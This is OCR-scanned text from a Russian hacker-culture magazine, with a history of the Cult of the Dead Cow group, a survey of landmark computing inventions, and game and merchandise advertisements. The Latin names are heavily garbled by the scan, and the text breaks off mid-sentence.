керами борд. Вайе и его друзья 
выпускали Нііез (электронные 
статьи) с завидной периодич- 
ностью, все они шли под лейб- 
лом сОс соттипісаііопз е-гіпе. 
Когда файлов стало много, 
Кевин принялся их нумеро- 
вать. Эти текстовки, несмот- 
ря на то, что их темы часто 
были далеки от компьюте- 
ров, пользовались огромной 
популярностью и их переда- 
вали из рук в руки, как нас- 
тоящие сокровища. А вместе 
с ними росла и слава Культа. 
Постепенно в группу приходили 
новые люди, среди которых бы- 
ли уже известные в хаксцене 
личности: ѴѴНіІе Кпідій, Огипкіих, 
(ЗА ЕІІзѵѵогйі. К концу 80-х коли- 
чество мемберов достигло 50. 
Вайе, который был негласным 
лидером сЭс, никогда не уста- 
навливал правила и приорите- 
ты. Каждый в группе занимался 
тем, что ему было интересно, а 
общались все через приватные 
сообщения на Эетоп ВоасИ. 



і-Е 



1988 

В 88-м году, когда СиІІ оі йіе 
йеасі Соѵѵ уже считалась в ан- 
деграунде культовой группой, 
Кевин решил, что пора заявить 
о себе всему миру. Пресса в 
это время как раз была очень 
заинтересована историями о та- 
инственных хакерах, которые 
проникают в самые защищен- 
ные системы и способны чуть ли 
не управлять космическими ко- 
раблями ЫАЗА. Вайе изучил все 
журналы, которые смог достать, 
собирая емейлы редакций и вы- 
сылая на них пресс-релиз своей 
группы. В последующие годы 
сОс принимала активное учас- 
тие в образовании широких 
масс по поводу хакерства и ха- 
керской философии, публикуя 
материалы на эту тему и разда- 
вая многочисленные интервью. 




НАСКТІѴІ5МО 



1996 1998 90-ТН 1999 2003 



В 1 996 году на одном из андег- 
раундовых ІВС-каналов состоя- 
лась дискуссия о влиянии хаке- 
рства на социальную и полити- 
ческую жизнь. Один из ее участ- 
ников — хакер из сйс Отеда — 
высказал мнение, что грамотно 
написанный программный код 
способен повлиять на толпы 
людей и донести им любую ав- 
торскую мысль. Эта филосо- 
фия с легкой руки Отеда полу- 
чила название Наскііѵізт и 
вскоре стала продвигаться в 
массы членами Культа. В каче- 
стве наглядного примера Хакти- 
визма выступил проект Ргеепеі, 
позволяющий своим участни- 
кам анонимно публиковать ин- 
формацию любого содержания, 
которая хранилась в базе и мог- 
ла быть прочитана другими. 
«Таким образом, автор проекта 
через программирование гово- 
рит, что каждый имеет право 
свободно выражать мысли». 



29 декабря 1998 года хакерская 
группа І_едіопз оі ІІпсіегдгоипсі 
объявила кибервойну Ираку и 
Китаю, намереваясь наказать 
эти страны, разрушив их компь- 
ютерные системы. Событие 
прошло незамеченным среди 
простых людей, но вызвало 
большой ажиотаж в хакерском 
сообществе. 7 января 1999 года 
группа СиІІ оі йіе ОеасІ Соѵѵ, 
компьютерный клуб Хаоса, жур- 
налы 2600 и РЬгаск, а также 
зесигііу-фирма Юрій публично 
осудили І_оІІ и потребовали 
прекратить нападки. В течение 
нескольких дней декларация о 
войне была снята, что показало, 
насколько влиятельным может 
быть Хактивистское движение. 




В конце 90-х годов последовате- 
ли философии провели ряд 
взломов в знак протеста. Среди 
целей хакеров оказались компь- 
ютеры индийского Атомного Ис- 
следовательского центра, про- 
водящего тестирования ядерно- 
го оружия. Взломщик Вгопс 
Визіег отключил файрволы ки- 
тайских провайдеров, открывая 
китайским юзерам свободный 
доступ в Сеть, без установленных 
правительством ограничений. 




В 1 999 году СиІІ о^ йіе Оеасі Соѵѵ 
основала Наскйѵізто — свое 
подразделение, призванное бо- 
роться за право свободного 
доступа к информации. Фило- 
софия Хактивизмо, по сути, пе- 
реносит обычную декларацию 
прав человека на Интернет. 
В 2002 году его участники 
представили свой первый про- 
ект Сатега/ЗІпу — утилиту, на- 
ходящую в Интернете и рас- 
шифровывающую изображе- 
ния со скрытым контентом. Сле- 
дующим релизом стал новый се- 
курный р2р протокол Зіх/Роиг, 
дающий анонимный доступ 
к любым сетевым ресурсам. 




В 2003 году эта система получи- 
ла официальное одобрение от 
Департамента Коммерции США, 
что вызвало опять же много шу- 
михи вокруг известного лейбла. 
За 20 лет девиз сОс не изменил- 
ся: группа по-прежнему исполь- 
зует компьютеры и сети для до- 
несения миру своих мыслей, но 
не ставит технологии во главе 
всего. Основатель группы и ее 
старейший мембер Огапсітазіег 
Вайе без стеснения признается 
журналистам, что никогда не 
был хакером в прямом смысле 
этого слова, и написание музы- 
ки интересует его намного боль- 
ше, чем компьютеры. Но это не 
мешает ему принимать активное 
участие в жизни компьютерного 
андеграунда и влиять на его раз- 
витие не меньше, чем самые 
продвинутые спецы. В одном из 
интервью Кевину задали воп- 
рос: «Какие у него планы на бу- 
дущее относительно СиІІ оі йіе 
ОеасІ Соѵѵ?» «Мировое господ- 
ство», — ответил он. 
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НОНОСОЫ 1993 1998 



В декабре 1990 года мембер 
сЭс ОгипкПх выступил органи- 
затором одной из самых пер- 
вых хакерских конференций 
НоНоСоп. Проходила она в Хь- 
юстоне, штат Техас, и пригла- 
шения были отправлены не 
только сцене и прессе, но даже 
федеральным сотрудникам (в 
следующем году журнал Заззу 
назвал СиІІ егі іНе Оеаб Соѵѵ са- 
мой дерзкой группой в компью- 
терном андеграунде). Несмотря 
на это, НоНоСоп собрала лишь 
несколько человек, уже знако- 
мых друг с другом. Следующее 
пати, которое прошло с 27 по 
29 декабря 1991 года оказа- 
лось более успешным и орга- 
низованным. Поучаствовать в 
НоНоСоп’91 приехало более 80 
хакеров и просто компьютер- 
щиков из разных уголков США. 




Проходило мероприятие в гос- 
тинице рядом с аэропортом 
Хилтон. Организаторы арендо- 
вали конференц-зал, так что 
любой желающий мог высту- 
пить с лекцией на любую тему. 
Среди почетных гостей пати 
были такие известные писа- 
тели, как Брюс Стерлинг, Остин 
Бранч, представитель Еіесігопіс 
Ргопііегз Роипбаііоп, редакторы 
журнала Рбгаск и члены леген- 
дарной хактимы І_едіоп оі 
Ооот. НоНоСоп стал ежегод- 
ным хакпати и проходил при 
поддержке редакции РЬгаск 
вплоть до 1994 года. 

Когда хакерские встречи стали 
проводится в других городах, 
сйс стала в них постоянным 
участником, будь то крупная кон- 
ференция типа йекюп или ло- 
кальная попойка. Члены группы 
любили появляться на хакерских 
тусовках в экзотических костю- 
мах, организовывая юмористи- 
ческие шоу на компьютерную те- 
матику. Поскольку в Культе было 
много компьютерных специалис- 
тов высокого уровня (далеких от 
компьютеров людей там тоже 
было немало), они постоянно 
выступали с лекциями о безо- 
пасности или продолжали прод- 
вигать хакерскую философию. 



В 1993 году ОгипкПх создал в 
Сети страничку, которая стала 
первым официальным сайтом 
сОс. К этому времени группа 
выросла из ВВЗ и стала поти- 
хоньку перебираться в Интер- 
нет. ВаКе продолжил держать 
постоянную связь с прессой, 
пополняя свою коллекцию ре- 
дакционных емейлов, обзаво- 
дясь новыми связями и стара- 
ясь, чтобы название группы не 
сходило со страниц журналов. 



) 

г л 

организатор 

НоНосоп 

йгипМих 



1 Августа 1998 года на конферен- 
ции Оеісоп 6-ой член СиІІ оі ІІте 
Оеасі Соѵѵ Зіг Оузііс представил 
утилиту под названием Васк 
ОгіТісе. Прога работала по прин- 
ципу клиент-сервер и позволяла 
удаленно управлять компьюте- 
ром, на котором установлена 
серверная часть. Как сообщил 
автор, проект был задуман для 
того, чтобы продемонстрировать, 
насколько уязвима операцион- 
ная система М8 ѴѴіпбоѵѵз. Нес- 
мотря на то, что утилита позицио- 
нировалась как инструмент сете- 
вого администратора, всем стало 
очевидно, что ВО можно исполь- 
зовать с совершенно другой 
целью. С помощью простенького 
трояна хакер мог запросто уста- 
новить сервер на компьютере 
ничего не подозревающего юзе- 
ра, а затем, подключившись кли- 
ентом, делать с его машиной все 
что угодно. Причем не нужно 
было разбираться в командах, 
так как графический 1)1 позво- 
лял все проделывать буквально 
одним нажатием кнопочки. Еще 
более популярной программа 
стала с выходом в следующем 
году новой версии Васк ОгіТісе 
2000, которая, помимо ѴѴіп95 и 
ѴѴіп98, поддерживала ѴѴіпсІоѵѵз 
ЫТ и имела открытый код. 



Благодаря прессе вокруг тво- 
рения сОс поднялась огромная 
шумиха. МісгозоИ прокомменти- 
ровала, что программа не явля- 
ется прямой угрозой для ее 
операционной системы, а что- 
бы хакер проник на компьютер, 
нужно еще установить этот са- 
мый сервер. Тем не менее, пос- 
ле релиза ВО антивирусные 
компании классифицировали 
его как троян и выпустили об- 
новления с защитой. Тема «Тро- 
ян или утилита для админов?» 
долгое время бурно обсужда- 
лась на хакерских форумах 
и еще больше прославила группу. 




. Там же сформировалась и основная концепция, которая оставалась девизом группы на протяжение последующих 20 лет: 
«Г павное — не технологии, так как они лишь способ, чтобы дать тебе то, что ты хочешь на самом деле». 



истерия группы 

С1Л.Т #Р ТНЕ ІЕАІ С#ѴѴ 

ІІ В СЕРЕДИНЕ 80-Х ГОДОВ АМЕРИКАНСКИЙ КОМПЬЮТЕРНЫЙ АНДЕГРАУНД СОСТО- 
ЯЛ ИЗ СОТЕН РАЗНЫХ ГРУПП. ОТ БОЛЬШИХ И КУЛЬТОВЫХ, ТИПА ЬЕОІОЫ ОЕ ОООМ, 

ДО МАЛЕНЬКИХ И МАЛОИЗВЕСТНЫХ, НАЗВАНИЕ КОТОРЫХ ТЫ МОЖЕШЬ ПРИДУМАТЬ 
САМ. НО ИЗ НИХ ВСЕХ ТОЛЬКО ОДНА ПРОШЛА ЧЕРЕЗ ВСЕ ЭТАПЫ РАЗВИТИЯ СЦЕНЫ, 

ПЕРЕЖИЛА АНТИХАКЕРСКИЕ РЕЙДЫ И ПРОЦВЕТАЕТ ДО СИХ ПОР. САМАЯ ПУБЛИЧ- 
НАЯ, САМАЯ ИЗВЕСТНАЯ В МИРЕ ХАКГРУППА — СШТ ОЕ ТНЕ ЭЕАО СОѴѴ рр 




ТЕХТ МІШѴѴОВК / М1МО№ОПК@САМЕиМО.ГШ / 
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ТЕХТ М№ѴѴОНК / М1№ѴѴ0ПК@САМЕІ.АМ0.Пи / 




АНАЛИТИЧЕСКАЯ МАШИНА БЭББИДЖА 

В XIX веке, когда ученые были убеждены в превосходстве человечес- 
кого разума над машинами, английский математик, аналитик и инже- 
нер Чарльз Бэббидж был уверен, что со многими задачами эти самые 
машины могут справляться куда лучше человека. Постоянно сталки- 
ваясь с ошибками в расчетах, Бэббидж искал способы свести их к ми- 
нимуму, и в 1822 году приступил к воплощению своих идей о «счита- 
ющих механизмах» в жизнь. Многие из паровых машин, которые 
конструировал инженер, так и не были закончены, так как идеи соз- 
дателя опережали технологии того времени. Первым известным изоб- 
ретением Чарльза стал дифференциальный двигатель, производя- 
щий расчет нескольких статистических данных и автоматически под- 
готавливающий результат. Состоял он из 25 тысяч механических де- 
талей и весил около 15 тонн, но собрать по образцам рабочий вари- 
ант и сделать на нем первые расчеты стало возможным только в 1990 
году. Самым же выдающимся творением Чарльза Бэббиджа стала его 
аналитическая машина, представлявшая собой не отдельный меха- 
низм, а целую цепочку всевозможных дизайнов и схем, которые автор 
соединял и тестировал до конца своей жизни. Особенностью анали- 
тической машины было то, что с использованием перфокарт она мог- 
ла быть программируемой, поэтому для того времени это казалось 
чем-то фантастическим. Как ранние, так и поздние машины Бэббиджа 
внешне совершенно не были похожи на современные компьютеры, 
но архитектура очень напоминала строение РС. Поэтому Чарльза счи- 
тают если не отцом, то прадедушкой всех компьютеров. 



МЕХАНИЧЕСКИЙ КОМПЬЮТЕР ЗЮСЭ 

В 30-х годах, работая инженером-конструктором в берлинской 
самолетостроительной компании, Конрад Зюсэ все свое время 
проводил за сложными расчетами. Вручную их делать было дол- 
го, а техника того времени мало помогала. В 1936 году Конрад 
решил облегчить себе жизнь и сконструировал механический 
калькулятор 21, который мог производить операции с плаваю- 
щей запятой, имел память и модули, работающие по принципу 
«да/нет» (как и все современные компьютеры). Через 3 года в 
новой модели 22 часть механических деталей была заменена на 
электронные, а в 1941 году, когда появился 23, его можно было 
по праву назвать первым в мире электронным, программируе- 
мым и цифровым компьютером, который использовал для хране- 
ния информации кинопленку, а не перфокарты. Нацистское пра- 
вительство отказалось спонсировать дальнейшие разработки, и 
в конце войны во время бомбежки все модели компьютера 2 бы- 
ли уничтожены, вместе со зданием 2изе АррагаІеЬаи — первой в 
истории компьютерной компании, основанной Конрадом Зюсэ. 
Чтобы продолжить исследования, ученый переехал в Швейца- 
рию, где воссоздал 24 (который был наполовину закончен в Гер- 
мании) и разработал для него в 1946 году специальный язык 
программирования РІапкаІкиІ. На нем чуть позже была написана 
первая программа для игры в шахматы. Так как Конрад не публи- 
ковал информацию о своей работе, многие из его проектов ста- 
ли известны только много лет спустя. 
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ОТ МЕХАНИЧЕСКОГО 
КАЛЬКУЛЯТОРА 
ДО ИНТЕРНЕТ-ТЕЛЕФОНИИ 



ОТКРЫТИЯ, КОТОРЫЕ ИЗМЕНИЛИ КОМПЬЮТЕРНЫЙ МИР 

йй КОМПЬЮТЕРНАЯ ЭВОЛЮЦИЯ ТОЛЬКО НАЧИНАЕТ СВОЕ РАЗВИТИЕ. СО ВРЕМЕНИ ИЗОБРЕТЕНИЯ ПЕРВОГО ПЕР- 
СОНАЛЬНОГО КОМПЬЮТЕРА ПРОШЛО ВСЕГО 40 ЛЕТ, И ЗА ЭТО ВРЕМЯ ОН ПРЕВРАТИЛСЯ ИЗ ПРИМИТИВНОГО КАЛЬ- 
КУЛЯТОРА В МОЩНЫЙ ИНСТРУМЕНТ ДЛЯ ОБЩЕНИЯ, РАЗВЛЕЧЕНИЯ И РЕШЕНИЯ ПРАКТИЧЕСКИ ЛЮБЫХ ЗАДАЧ. 
В ЭТОМ ПРОГРЕССЕ ПРИНИМАЛИ УЧАСТИЕ ТЫСЯЧИ УЧЕНЫХ, КОТОРЫЕ КАЖДЫЙ РАЗ УДИВЛЯЛИ МИР СВОИМИ 
ОТКРЫТИЯМИ. ЧТОБЫ ПОЛНОСТЬЮ ОСВЕТИТЬ ИСТОРИЮ КОМПЬЮТЕРОВ, ПОНАДОБИТСЯ НЕСКОЛЬКО ОБЪЕМНЫХ 
ТОМОВ, НО ЕСТЬ ВЕЩИ, КОТОРЫЕ ДОЛЖЕН ЗНАТЬ КАЖДЫЙ КОМПЬЮТЕРЩИК. ЧЕМ ПРИМЕЧАТЕЛЬНА МАШИНА 
БЭББИДЖА? КОГДА НАЧАЛАСЬ ЭРА МИКРОПРОЦЕССОРОВ? КТО СОЗДАЛ ПЕРВЫЙ КОМПЬЮТЕРНЫЙ ВИРУС? 00 




ЕШАС 

Компьютер ЕІЧІАС 1 стал первым крупным компьютерным проектом 
американского правительства. Предполагалось, что он будет един- 
ственной на тот момент перепрограммируемой машиной, которая 
способна решать большой спектр компьютерных задач. Сконстру- 
ирован ЕІЧІАС 1 (Электронно-Цифровой Интегратор и Калькулятор) 
был в феврале 1946 года учеными Джоном Мокли и Преспером 
Экертом для американских военных, которые позднее использова- 
ли его для проведения баллистических расчетов. Создание этой 
махины, занимающей большую комнату, обошлось правительству 
в 500 тысяч долларов, еще почти столько же ушло на его доработ- 
ку и апгрейд. ЕІЧІАС был настоящим монстром: он состоял из 17 ты- 
сяч вакуумных труб, огромного количества диодов и резисторов, 5 
миллионов перемычек, и весил почти 30 тонн. Несмотря на то, что 
использование вакуумных труб ускорило расчеты, они перегорали 
каждый день, и, чтобы устранить поломку, уходило по полдня. Так 
что большую часть времени компьютер находился в отключке. Во- 
обще, несмотря на свой размер и мощь, ЕЫІАС 1 послужил приме- 
ром тому, каким не должен быть настоящий персональный компью- 
тер. Через несколько лет создатели ЕІЧІАС продолжили свои ис- 
следования и сконструировали более мощные машины ЦІ\ІІѴАС, 
долгое время состоявшие на службе у правительства США. 



ТРАНЗИСТОР 

Транзистор — одно из самых знаительныых компьютерных изобрете- 
ний. Первое поколение компьютеров базировались на вакуумных тру- 
бах, которые были очень ненадежными и громоздкими. Во второй по- 
ловине 40-х годов ученые из исследовательского отдела телефонной 
компании ВеІІ принялись экспериментировать с кристаллами «герма- 
ниум», которые при определенных условиях могли стать хорошими по- 
лупроводниками. В 1947 году Джон Бэрдин, Уильям Шокли и Уолтер 
Брэттейн изобрели то, что позже станет известно как транзистор. Ученые ВеІІ за- 
патентовали свое изобретение, и вскоре транзисторы появились в продаже. 
В начале они в основном использовались в производстве радиоприем- 
ников, так как первые транзисторы были еще хрупкими и перегорали 
при высоком напряжении. Но прогресс, как говорится, не стоит на мес- 
те, и через какое-то время они стали востребованными и в других об- 
ластях. Когда транзисторы заменили громоздкие, ненадежные вакуум- 
ные трубы, компьютеры могли выполнять те же функции, используя 
меньше энергии и места. В 1956 году исследовательская 
команда из ВеІІ получила Нобелевскую премию за свое революцион- 
ное изобретение. 
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ВИНЧЕСТЕР 

Первый жесткий диск был представлен компанией ІВМ в мае 
1955 года. Махина, весившая тонну, больше напоминала мотор 
от грузовика. Но во времена перфокарт и магнитных лент заяв- 
ленная возможность хранить до 5 миллионов символов звучала 
потрясающе. Внутри находилось 50 24-дюймовых пластин, и 
поскольку считывающая головка была одна, то скорость работы 
диска была очень медленной. В следующей модели (ІВМ 1301), 
которую также разрабатывал Рональд Джонсон, на каждую 
пластину приходилась отдельная головка, что кардинально уве- 
личило скорость. Многие годы жесткие диски оставались громо- 
здкими и использовались преимущественно в компьютерных ла- 
бораториях научных центров и крупных компаний. В 1980 году 
Зеадаіе Тесітпоіоду представила 5Т-506 — первый 5-дюймовый 
жесткий диск объемом 5 Мб, который уже можно было исполь- 
зовать с персональными компьютерами и который сделал вин- 
честер распространенным явлением. 




""С М 



II 1 

ИНТЕГРАЛЬНАЯ СХЕМА (ЧИП) 

В 1958 году двое ученых, живущих в совершенно разных местах, 
изобрели практически идентичную модель интегральной схемы. 
Один из них, Джэк Килби, работал на Техаз Іпзігитепіз, другой, 
Роберт Нойс, был владельцем собственной компании по произ- 
водству полупроводников РаігсЫІсІ Зетісопсіисіог Согрогаііоп. 
Обоих объединил вопрос: «Как в минимум места вместить мак- 
симум компонентов?». Транзисторы, резисторы, конденсаторы 
и другие детали в то время размещались на платах отдельно, и 
ученые решили попробовать их объединить в один монолитный 
кристалл из полупроводникового материала. Только Килби вос- 
пользовался германиумом, а Нойс предпочел в качестве такого 
материала кремний. В 1959 году они отдельно друг от друга по- 
лучили патенты на свои изобретения. Само собой, началось 
противостояние двух компаний, которое закончилось мирным 
договором и созданием совместной лицензии на производство 
чипов. После того как в 1961 году РаігсИІІб Зетісопсіисіог 
Согрогаііоп пустила чипы в свободную продажу, их сразу стали 
использовать в производстве калькуляторов и компьютеров 
вместо отдельных транзисторов, что позволило значительно 
уменьшить размер и увеличить производительность. 



ГОЯТЯАЫ 

Первый настоящий язык программирования высокого уровня по- 
явился в 1957 году, его автором стал Джон Бэкус, руководитель 
исследовательской команды ІВМ. Первоначально Джон со свои- 
ми коллегами собирался разработать интерпретатор для ІВМ 701 
— первого коммерчески успешного компьютера от ІВМ. Работа 
заняла три года, в результате был написан компилятор, и проект 
завершился созданием нового языка программирования. Сот- 
рудники ІВМ не изобрели саму идею языков высокого уровня, при 
которой код пишется на понятном человеку языке и потом пере- 
водится в машинный, но их РОРТВАІМ стал первым по-настояще- 
му популярным и находит широкое применение даже сейчас. 
Язык быстро взяли на вооружение ученые, которым приходилось 
писать программы с большим количеством формул и чисел — 
для этих целей он подходил лучше ассемблера. РОРГГПАЫ стал 
примером для авторов последующих языков программирования 
и дал начало развитию РІІ-І-. 



1957 

*ІА ЧМ 




ГРАФИЧЕСКИЙ ИНТЕРФЕЙС И МЫШЬ 

История ѲШ и мыши напрямую связана с проектом оІ\ІІ_іпе Зузіет 
(N63), стартовавшим в начале 60-х годов в Стэнфордском Иссле- 
довательском институте. Эта система, разработку которой спонси- 
ровали агентства АРРА, ЫАЗА и Пентагон, должна была стать для 
американских ученых удобной компьютерной средой для ежеднев- 
ной работы. Руководил проектом Дуглас Энгелбарт, который и внес 
большую часть идей. Графическая среда, разработанная Дугла- 
сом, представляла собой систему текстовых гиперлинков, которая 
управлялась с помощью специального устройства, изобретенного 
им же. Вначале ученый назвал его «Жуком», но из-за провода, 
подключаемого к компьютеру и напоминающего мышиный хвост, 
название было изменено. Первая модель мыши была громоздкой, 
корпус был сделан из дерева, и в нем находилось два металличес- 
ких колесика. Двигать курсор можно было только по вертикали и 
горизонтали. В 1968 году в крупном научном центре состоялась по- 
луторачасовая презентация N13, и компьютерный мир впервые 
увидел в действии графическую систему, управляемую мышью. Че- 
рез два года Энгелбарт запатентовал мышку (в патенте она назы- 
валась позиционным индикатором для дисплейной системы) и про- 
должил работать над усовершенствованием 01)1. Но члены иссле- 
довательской группы, не согласные с некоторыми его идеями, по- 
кинули своего руководителя и перешли на работу в исследова- 
тельский центр Хегох (РАПС), где реализовали свое представление 
о настоящей графической среде. Именно там был разработан 
оконный интерфейс ѴѴІпбоѵѵз, каким мы знаем его сегодня. 
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Описание: 

РаМгепІіеіІ (также известный как Іпбідо 
Ргорітесу) - один из главных хитов 2005 года. 
Это интерактивный триллер, где вы играете и 
за детективов, и за подозреваемого - и каждое 
ваше действие, каждый выбор имеет значение. 
Интуитивное управление, и интерфейс, дове- 
денный до минимализма, помогают погрузить- 
ся в игру с головой, а повороты сюжета про- 
держат вас в напряжении до самой развязки. 



Раіігепііеіі (ІпОідо РгорНесу) 


Жанр: 




$69.99 


Асіѵепіиге 


У 







Описание: 

Разработчики Ѳиііб ѴѴагз взяли все лучшие 
черты из других ММ0ВР6 и смешали их та- 
ким образом, что вы забудете обо всем том, 
что до сих пор раздражало вас в многополь- 
зовательских играх. Вы можете встретить но- 
вых друзей в городах и крепостях, сформиро- 
вать партию и тут же отправиться выполнять 
задания вместе. В вашей партии всегда будет 
копии карты квеста. 



биіісі ѴѴагз ЗресіаІ ЕРШоп (ЕІІРО) 


Жанр: 




$79.99 


я 

я 

о 


У 






Описание: 

Аде о( Етрігез III погрузит вас в атмосферу 
ХѴІ-ХІХ веков. Вам предстоит строить 
собственную империю, колонизировать и за- 
воевывать Северную и Южную Америку и 
участвовать в эпических войнах. Невиданный 
уровень реализма и великолепно отображен- 
ное культурное разнообразие порадуют даже 
самых утонченных эстетов. 



Аде о( Етрігез III 



Жанр: 



$79.99 



8(га(еду 

' 




СатеРозІ 

Незаменимый 
помощник 
при выборе 
игры 




САМАЯ ПОЛНАЯ 

ИНФОРМАЦИЯ ОБ ИГРАХ 

* Огромное * Исчерпывающие * Возможность 

количество описания посмотреть 

скриншотов содержимое 

коробок 



Играй 

просто! 

СатеРовІ 




Тел.: (495) 780-8825 
Факс.: (495) 780-8824 



шѵѵѵ.датерові.гіі 





СЦЕНА ///// ІЗЗІІЕ 



АКРАИЕТ 

Первые сформулированные мысли по поводу возможности объе- 
динения компьютеров в сеть появились в начале 60-х годов. 
В 1965 году ученые из МТИ и Университета Беркли впервые испы- 
тали их на практике, связав через телефонные линии 2 удаленных 
компьютера. Двумя годами позже ученые из агентства АР РА и ря- 
да исследовательских институтов собрались на крупной конфе- 
ренции, чтобы обсудить наиболее эффективные способы созда- 
ния сети из нескольких машин. В ходе этой и других встреч были 
разработаны основные принципы АВРАпеІ, так что оставалось 
только написать протокол приема и передачи данных. В декабре 
1968 года группа ученых ВВІМ представила Іпіегіасе Меззаде 
Ргосеззогз (ІМР’з) — первый сетевой протокол, а уже через год, 
начиная с института ІІСБА, компьютеры ведущих научных центров 
стали объединяться в единую научную сеть. 

На протяжение 70-х годов АВРАпеІ постоянно росла и развива- 
лась. ЕтаіІ, РТР и другие возможности, появившиеся в это вре- 
мя, способствовали успеху. К 1981 году количество хостов дос- 
тигло 213, а через 8 лет превысило стотысячную отметку. 




ФЛОППИ диск 

В 1967 году компания ІВМ поручила своему исследовательскому 
отделу в Сан-Хосе новую задачу. Нужно было разработать прос- 
тую, недорогую систему автоматической загрузки микрокода 



для компьютеров ЗузІет/370. Загружать код с пленки было дол- 
го, к тому же носители были слишком большими, что не устраи- 
вало ІВМ. Дэвид Ноубл, один из ученых, работавших над зада- 
чей, перепробовал кучу разных решений, пока не создал так на- 
зываемый «диск памяти», позднее получивший название «флоп- 
пи диск». Первые дискеты имели размер 8 дюймов, могли вме- 
щать 80 Кб информации и были геаб-опіу. Еще они не имели 
пластикового конверта, который появился чуть позже из-за 
проблем с быстрым загрязнением. Новый формат дисков был 
представлен в 1973 году, позволив увеличить объем до 250 Кб и 
сделать диски перезаписываемыми. Дискеты оказались несрав- 
нимо удобнее перфокарт и пленочных накопителей, но пока еще 
использовались в ограниченных количествах из-за высокой це- 
ны. Одна дискета стоила почти столько же, сколько простой 
компьютер. Ситуация изменилась после того, как были опреде- 
лены стандарты, и десятки компаний принялись выпускать и до- 
рабатывать флоппи диски. Это резко снизило цену, и дискеты 
быстро вытеснили другие носители информации. В 1975 году 
был разработан новый 5-дюймовый формат, а использование 
обеих сторон дискеты вдвое увеличило емкость. В 1981 году 
Золу представила первый трехдюймовый диск в жестком кон- 
верте, который стал стандартом де-факто в 90-х годах. 



МИКРОПРОЦЕССОР 

15 ноября 1971 года тогда еще малоизвестная компания Іпіеі 
представила миру первый микропроцессор Іпіеі 4004. Разраба- 
тывался он специально для японской компании Визісот, вы- 
пускающей калькуляторы, но быстро выяснилось, что новинка 
подходит для использования во многих других областях. Инже- 
нерам компании — Федерико Фэггину, Тэду Хоффу и Стэну 
Мэзору — удалось в какие-то 4 миллиметра вместить вычисли- 
тельную мощь такого монстра, как ІІЬІІУАС. Іпіеі 4004 содержал 
в себе 2300 транзисторов, СРІІ, командный регистр, декодер, 
монитор машинных команд и поступил в продажу по цене $200 
за штуку. Практическое применение 4004 нашел в системах уп- 
равления дорожными светофорами, анализаторах крови и да- 
же космических зондах ЫАЗА. Но настоящая микропроцессор- 
ная революция началась с выпуском 8080, который был специ- 
ально разработан для компьютеров. Именно этот чип исполь- 
зовался в одной из первых персоналок АІІаіг 8800. С появлени- 
ем микропроцессоров изменилась сама технология создания 
компьютеров. Если раньше компьютерные поставщики (ІВМ, 
Оідііаі Едиіртепі Согрогаііоп, Неѵѵіеіі Раскагб) производили 
компьютеры целиком, то после начала отдельных поставок 
микрочипов и появления компаний, которые разрабатывали 
другие компьютерные комплектующие, стало возможным соби- 
рать машину, а не покупать ее целиком. 



ЕТНЕК№Т 

Как и многие другие компьютерные изобретения, ЕІЬегпеІ был 
разработан в исследовательском центре Хегох. Автором идеи 
стал Роберт Меткальф, которого попросили построить сеть, со- 
единяющую компьютеры РАРС. Незадолго до этого ученые 
центра создали первый в истории лазерный принтер, и началь- 
ство хотело, чтобы распечатывать изображения на этом принте- 
ре можно было с любого компьютера. У Меткальфа было две ос- 
новные трудности: сделать сеть достаточно быстрой, чтобы ус- 
певать за скоростью печати, и придумать, как соединить сотни 
машин, находящихся в одном здании. Уже через три года Мет- 
кальф опубликовал документ под названием «ЕІЬегпеІ: распре- 
деленная пакетная коммутация для локальных компьютерных се- 
тей», в котором описывались принципы создания 3-мегабитной 
локальной сети. Роберт ушел из Хегох в 1979 году, чтобы прод- 
вигать идеи персональных компьютеров и компьютерных сетей 
в массы, и для этого основал компанию ЗСот. Именно благода- 
ря его настойчивости и убедительности ЭЕС, Іпіеі и Хегох совме- 
стно сделали ЕІЬегпеІ стандартным протоколом, который ис- 
пользуется при построении 1_АІ\І и по сей день. 
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ЭКСКЛЮЗИВНАЯ 
КОЛЛЕКЦИЯ ОДЕЖДЫ 
И АКСЕССУАРОВ 
ОТ ЖУРНАЛА 

ХАКЕР 



ХАКЕР ЗТЕІРР «ОПАСНО для жизни» 

КРУЖКА + ФЛЯЖКА + ЗАЖИГАЛКА КОВРИК ДЛЯ МЫШИ 




«С.І.А. - СЕГІТПАІ_ ШТЕШЙЕЩ 
АОЕМСѴ» * ' 

ТОЛСТОВКА 





С ЛОГОТИПОМ «ХАКЕР» 




а69.99 і 



КОД ТОВАРА: СОР16384 ЦЕНА: 



6.99(1 



КОД ТОВАРА: СОРТ 3771 



.39.99 и 



КОД ТОВАРА: СОР14827 



12.99 т 



КОД ТОВАРА: СОР14018 




«ѴѴѴѴѴѴ - ѴѴЕ ѴѴАІМТ ѴѴОМЕІ\Г » 

ТОЛСТОВКА 




АІ4.99 






КОД ТОВАРА: СОР1 2579 ЦЕНА: 



29.99 1 



КОД ТОВАРА: СОР14027 



. 14 , 99 . 



ЦПП ТЛОАОА- ОГЛС-ПСОО 



40 оо 





«ХАКЕР -ДЕНЬГИ» 

ЗАЖИМ ДЛЯ ДЕНЕГ 



«ХАКЕР» С ЛОГОТИПОМ «ХАКЕР» «ХАКЕР» 

КОЖАНЫЙ ШНУРОК ДЛЯ МОБИЛЬНИКА ЗАЖИГАЛКА МЕТАЛЛИЧЕСКАЯ РУЧКА ЗЕШОВ МЕТАЛ. С ГРАВИРОВКОЙ 




1: 1 1 . 99(180 



КОДТОБАРА: СОР14590 ЦЕНА: 



11.99(1 



КОД ТОВАРА: СОР14591 



,11.99, 



КОД ТОВАРА: СОРТ 3862 



,22.99 и 



КОД ТОВАРА: СОР13861 









сцена ши іззііе 



ПЕРСОНАЛЬНЫЙ КОМПЬЮТЕР 

Стив Возняк в середине 70-х годов был типичным техно-гиком: 
днем работал на Неѵѵіеіі Раскагф а вечерами ковырялся в дета- 
лях компьютерных конструкторов типа АІІаіг. В один прекрасный 
день Стив осознал, что основные компьютерные комплектую- 
щие, такие как процессор и память, подешевели настолько, что 
с месячной зарплаты можно приобрести все необходимое для 
сборки собственного компьютера. В следующие дни парень по- 
настоящему загорелся этой идеей и, подключив к делу своего 
приятеля Стива Джобса, все свободное время проводил в отцо- 
вском гараже с паяльником в руках. В начале 1976 года работа 
была закончена: Арріе I имел 4 Кб расширяемой памяти, 1 Мгц 
процессор М05 6502 и деревянный корпус с клавиатурой. Нес- 
мотря на то, что Стив Возняк создавал компьютер для себя, 
Джобсу удалось убедить друга попробовать его продать. Поку- 
патели быстро нашлись, и 200 собранных вручную Арріе’ов уш- 
